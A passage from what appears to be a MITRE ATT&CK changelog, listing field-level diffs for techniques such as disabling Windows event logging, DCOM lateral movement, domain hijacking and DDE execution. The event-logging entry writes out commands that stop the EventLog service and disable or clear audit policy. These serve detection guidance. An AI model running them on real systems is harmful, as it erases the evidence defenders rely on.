Adversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)
By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind. |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Windows event logs | Script: Script Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Windows Registry: Windows Registry Key Creation |
| x_mitre_detection | Monitor processes and command-line arguments for commands that can be used to disable logging. Lack of event logs may be suspicious. | Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) In Event Viewer, Event ID 1102 under the “Security” Windows Log and Event ID 104 under the “System” Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered. Monitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'EventLog_Core_Technologies', 'description': 'Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.', 'url': 'https://www.coretechnologies.com/blog/windows-services/eventlog/'} | |
| external_references | {'source_name': 'Audit_Policy_Microsoft', 'description': 'Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy'} | |
| external_references | {'source_name': 'Advanced_sec_audit_policy_settings', 'description': 'Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings'} | |
| external_references | {'source_name': 'auditpol', 'description': 'Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol'} | |
| external_references | {'source_name': 'Disable_Win_Event_Logging', 'description': ' dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.', 'url': 'https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging'} | |
| external_references | {'source_name': 'auditpol.exe_STRONTIC', 'description': 'STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.', 'url': 'https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html'} | |
| external_references | {'source_name': 'T1562.002_redcanaryco', 'description': 'redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.', 'url': 'https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md'} | |
| external_references | {'source_name': 'def_ev_win_event_logging', 'description': 'Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.', 'url': 'https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/'} | |
| external_references | {'source_name': 'evt_log_tampering', 'description': 'svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.', 'url': 'https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c'} | |
| x_mitre_data_sources | Application Log: Application Log Content | |
| x_mitre_data_sources | Sensor Health: Host Status | |
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 20:02:24.426000+00:00 | 2021-03-08 10:33:02.146000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Firewall: Firewall Rule Modification |
| x_mitre_data_sources[1] | GCP audit logs | Firewall: Firewall Disable |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to interact with remote machines by taki | > | g/techniques/T1078) to interact with remote machines by taki | ||
| > | ng advantage of Distributed Component Object Model (DCOM). T | > | ng advantage of Distributed Component Object Model (DCOM). T | ||
| > | he adversary may then perform actions as the logged-on user. | > | he adversary may then perform actions as the logged-on user. | ||
| > | The Windows Component Object Model (COM) is a component of | > | The Windows Component Object Model (COM) is a component of | ||
| > | the native Windows application programming interface (API) | > | the native Windows application programming interface (API) | ||
| > | that enables interaction between software objects, or execut | > | that enables interaction between software objects, or execut | ||
| > | able code that implements one or more interfaces. Through CO | > | able code that implements one or more interfaces. Through CO | ||
| > | M, a client object can call methods of server objects, which | > | M, a client object can call methods of server objects, which | ||
| > | are typically Dynamic Link Libraries (DLL) or executables ( | > | are typically Dynamic Link Libraries (DLL) or executables ( | ||
| > | EXE). Distributed COM (DCOM) is transparent middleware that | > | EXE). Distributed COM (DCOM) is transparent middleware that | ||
| > | extends the functionality of COM beyond a local computer usi | > | extends the functionality of COM beyond a local computer usi | ||
| > | ng remote procedure call (RPC) technology.(Citation: Fireeye | > | ng remote procedure call (RPC) technology.(Citation: Fireeye | ||
| > | Hunting COM June 2019)(Citation: Microsoft COM) Permission | > | Hunting COM June 2019)(Citation: Microsoft COM) Permission | ||
| > | s to interact with local and remote server COM objects are s | > | s to interact with local and remote server COM objects are s | ||
| > | pecified by access control lists (ACL) in the Registry.(Cita | > | pecified by access control lists (ACL) in the Registry.(Cita | ||
| > | tion: Microsoft Process Wide Com Keys) By default, only Admi | > | tion: Microsoft Process Wide Com Keys) By default, only Admi | ||
| > | nistrators may remotely activate and launch COM objects thro | > | nistrators may remotely activate and launch COM objects thro | ||
| > | ugh DCOM.(Citation: Microsoft COM ACL) Through DCOM, advers | > | ugh DCOM.(Citation: Microsoft COM ACL) Through DCOM, advers | ||
| > | aries operating in the context of an appropriately privilege | > | aries operating in the context of an appropriately privilege | ||
| > | d user can remotely obtain arbitrary and even direct shellco | > | d user can remotely obtain arbitrary and even direct shellco | ||
| > | de execution through Office applications(Citation: Enigma Ou | > | de execution through Office applications(Citation: Enigma Ou | ||
| > | tlook DCOM Lateral Movement Nov 2017) as well as other Windo | > | tlook DCOM Lateral Movement Nov 2017) as well as other Windo | ||
| > | ws objects that contain insecure methods.(Citation: Enigma M | > | ws objects that contain insecure methods.(Citation: Enigma M | ||
| > | MC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Ja | > | MC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Ja | ||
| > | n 2017) DCOM can also execute macros in existing documents(C | > | n 2017) DCOM can also execute macros in existing documents(C | ||
| > | itation: Enigma Excel DCOM Sept 2017) and may also invoke Dy | > | itation: Enigma Excel DCOM Sept 2017) and may also invoke [D | ||
| > | namic Data Exchange (DDE) execution directly through a COM c | > | ynamic Data Exchange](https://attack.mitre.org/techniques/T1 | ||
| > | reated instance of a Microsoft Office application(Citation: | > | 559/002) (DDE) execution directly through a COM created inst | ||
| > | Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing t | > | ance of a Microsoft Office application(Citation: Cyberreason | ||
| > | he need for a malicious document. | > | DCOM DDE Lateral Movement Nov 2017), bypassing the need for | ||
| > | a malicious document. DCOM can be used as a method of remot | ||||
| > | ely interacting with [Windows Management Instrumentation](ht | ||||
| > | tps://attack.mitre.org/techniques/T1047). (Citation: MSDN WM | ||||
| > | I) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 20:21:03.684000+00:00 | 2021-06-23 18:58:32.752000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM) Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL) Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM) Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL) Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI) |
| x_mitre_data_sources[0] | Windows event logs | Module: Module Load |
| x_mitre_data_sources[1] | Windows Registry | Process: Process Creation |
| x_mitre_data_sources[2] | Process monitoring | Network Traffic: Network Connection Creation |
| x_mitre_detection | Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. Monitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic. | Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135). |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'MSDN WMI', 'description': 'Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/aa394582.aspx'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_data_sources | DLL monitoring | |
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | API monitoring | |
| x_mitre_data_sources | PowerShell logs |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Jon Sternstein, Stern Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:42:11.787000+00:00 | 2021-10-19 03:29:47.651000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Logon Session: Logon Session Metadata |
| x_mitre_data_sources[1] | Process monitoring | User Account: User Account Authentication |
| x_mitre_detection | Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence. | Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). On Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence. |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Ubuntu SSSD Docs', 'description': 'Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.', 'url': 'https://ubuntu.com/server/docs/service-sssd'} | |
| x_mitre_data_sources | Logon Session: Logon Session Creation |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may hijack domains | t | 1 | Adversaries may hijack domains and/or subdomains that can be |
| > | and/or subdomains that can be used during targeting. Domain | > | used during targeting. Domain registration hijacking is the | ||
| > | registration hijacking is the act of changing the registrat | > | act of changing the registration of a domain name without t | ||
| > | ion of a domain name without the permission of the original | > | he permission of the original registrant.(Citation: ICANNDom | ||
| > | registrant.(Citation: ICANNDomainNameHijacking) An adversary | > | ainNameHijacking) An adversary may gain access to an email a | ||
| > | may gain access to an email account for the person listed a | > | ccount for the person listed as the owner of the domain. The | ||
| > | s the owner of the domain. The adversary can then claim that | > | adversary can then claim that they forgot their password in | ||
| > | they forgot their password in order to make changes to the | > | order to make changes to the domain registration. Other pos | ||
| > | domain registration. Other possibilities include social engi | > | sibilities include social engineering a domain registration | ||
| > | neering a domain registration help desk to gain access to an | > | help desk to gain access to an account or taking advantage o | ||
| > | account or taking advantage of renewal process gaps. Subdo | > | f renewal process gaps. Subdomain hijacking can occur when | ||
| > | main hijacking can occur when organizations have DNS entries | > | organizations have DNS entries that point to non-existent or | ||
| > | that point to non-existent or deprovisioned resources. In s | > | deprovisioned resources. In such cases, an adversary may ta | ||
| > | uch cases, an adversary may take control of a subdomain to c | > | ke control of a subdomain to conduct operations with the ben | ||
| > | onduct operations with the benefit of the trust associated w | > | efit of the trust associated with that domain.(Citation: Mic | ||
| > | ith that domain.(Citation: Microsoft Sub Takeover 2020) | > | rosoft Sub Takeover 2020) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 01:28:56.664000+00:00 | 2021-10-17 15:51:26.715000+00:00 |
| description | Before compromising a victim, adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps. Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020) | Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps. Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020) |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may purchase domai | t | 1 | Adversaries may purchase domains that can be used during tar |
| > | ns that can be used during targeting. Domain names are the h | > | geting. Domain names are the human readable names used to re | ||
| > | uman readable names used to represent one or more IP address | > | present one or more IP addresses. They can be purchased or, | ||
| > | es. They can be purchased or, in some cases, acquired for fr | > | in some cases, acquired for free. Adversaries can use purch | ||
| > | ee. Adversaries can use purchased domains for a variety of | > | ased domains for a variety of purposes, including for [Phish | ||
| > | purposes, including for [Phishing](https://attack.mitre.org/ | > | ing](https://attack.mitre.org/techniques/T1566), [Drive-by C | ||
| > | techniques/T1566), [Drive-by Compromise](https://attack.mitr | > | ompromise](https://attack.mitre.org/techniques/T1189), and C | ||
| > | e.org/techniques/T1189), and Command and Control.(Citation: | > | ommand and Control.(Citation: CISA MSS Sep 2020) Adversaries | ||
| > | CISA MSS Sep 2020) Adversaries may choose domains that are s | > | may choose domains that are similar to legitimate domains, | ||
| > | imilar to legitimate domains, including through use of homog | > | including through use of homoglyphs or use of a different to | ||
| > | lyphs or use of a different top-level domain (TLD).(Citation | > | p-level domain (TLD).(Citation: FireEye APT28)(Citation: Pay | ||
| > | : FireEye APT28)(Citation: PaypalScam) Typosquatting may be | > | palScam) Typosquatting may be used to aid in delivery of pay | ||
| > | used to aid in delivery of payloads via [Drive-by Compromise | > | loads via [Drive-by Compromise](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1189). Adversaries ca | > | hniques/T1189). Adversaries can also use internationalized d | ||
| > | n also use internationalized domain names (IDNs) to create v | > | omain names (IDNs) to create visually similar lookalike doma | ||
| > | isually similar lookalike domains for use in operations.(Cit | > | ins for use in operations.(Citation: CISA IDN ST05-016) Dom | ||
| > | ation: CISA IDN ST05-016) Domain registrars each maintain a | > | ain registrars each maintain a publicly viewable database th | ||
| > | publicly viewable database that displays contact informatio | > | at displays contact information for every registered domain. | ||
| > | n for every registered domain. Private WHOIS services displa | > | Private WHOIS services display alternative information, suc | ||
| > | y alternative information, such as their own company data, r | > | h as their own company data, rather than the owner of the do | ||
| > | ather than the owner of the domain. Adversaries may use such | > | main. Adversaries may use such private WHOIS services to obs | ||
| > | private WHOIS services to obscure information about who own | > | cure information about who owns a purchased domain. Adversar | ||
| > | s a purchased domain. Adversaries may further interrupt effo | > | ies may further interrupt efforts to track their infrastruct | ||
| > | rts to track their infrastructure by using varied registrati | > | ure by using varied registration information and purchasing | ||
| > | on information and purchasing domains with different domain | > | domains with different domain registrars.(Citation: Mandiant | ||
| > | registrars.(Citation: Mandiant APT1) | > | APT1) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 20:25:29.310000+00:00 | 2021-10-16 17:09:26.334000+00:00 |
| description | Before compromising a victim, adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016) Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1) | Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016) Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1) |
| x_mitre_data_sources[0] | Domain registration | Domain Name: Active DNS |
| x_mitre_detection | Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. | Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| x_mitre_data_sources | Domain Name: Passive DNS | |
| x_mitre_data_sources | Domain Name: Domain Registration |
Current version: 1.3
Version changed from: 1.2 → 1.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 23:48:15.056000+00:00 | 2021-07-28 01:37:46.704000+00:00 |
| x_mitre_data_sources[0] | Packet capture | File: File Creation |
| x_mitre_data_sources[1] | Network device logs | Process: Process Creation |
| x_mitre_data_sources[2] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Web proxy | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[4] | Network intrusion detection system | Application Log: Application Log Content |
| x_mitre_detection | Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. Network intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system. | Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system. |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | SSL/TLS inspection |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use Windows Dynamic Data Exchange (DDE) to e | t | 1 | Adversaries may use Windows Dynamic Data Exchange (DDE) to e |
| > | xecute arbitrary commands. DDE is a client-server protocol f | > | xecute arbitrary commands. DDE is a client-server protocol f | ||
| > | or one-time and/or continuous inter-process communication (I | > | or one-time and/or continuous inter-process communication (I | ||
| > | PC) between applications. Once a link is established, applic | > | PC) between applications. Once a link is established, applic | ||
| > | ations can autonomously exchange transactions consisting of | > | ations can autonomously exchange transactions consisting of | ||
| > | strings, warm data links (notifications when a data item cha | > | strings, warm data links (notifications when a data item cha | ||
| > | nges), hot data links (duplications of changes to a data ite | > | nges), hot data links (duplications of changes to a data ite | ||
| > | m), and requests for command execution. Object Linking and | > | m), and requests for command execution. Object Linking and | ||
| > | Embedding (OLE), or the ability to link data between documen | > | Embedding (OLE), or the ability to link data between documen | ||
| > | ts, was originally implemented through DDE. Despite being su | > | ts, was originally implemented through DDE. Despite being su | ||
| > | perseded by [Component Object Model](https://attack.mitre.or | > | perseded by [Component Object Model](https://attack.mitre.or | ||
| > | g/techniques/T1559/001), DDE may be enabled in Windows 10 an | > | g/techniques/T1559/001), DDE may be enabled in Windows 10 an | ||
| > | d most of Microsoft Office 2016 via Registry keys. (Citation | > | d most of Microsoft Office 2016 via Registry keys. (Citation | ||
| > | : BleepingComputer DDE Disabled in Word Dec 2017) (Citation: | > | : BleepingComputer DDE Disabled in Word Dec 2017) (Citation: | ||
| > | Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advi | > | Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advi | ||
| > | sory Nov 2017) Microsoft Office documents can be poisoned w | > | sory Nov 2017) Microsoft Office documents can be poisoned w | ||
| > | ith DDE commands (Citation: SensePost PS DDE May 2016) (Cita | > | ith DDE commands (Citation: SensePost PS DDE May 2016) (Cita | ||
| > | tion: Kettle CSV DDE Aug 2014), directly or through embedded | > | tion: Kettle CSV DDE Aug 2014), directly or through embedded | ||
| > | files (Citation: Enigma Reviving DDE Jan 2018), and used to | > | files (Citation: Enigma Reviving DDE Jan 2018), and used to | ||
| > | deliver execution via [Phishing](https://attack.mitre.org/t | > | deliver execution via [Phishing](https://attack.mitre.org/t | ||
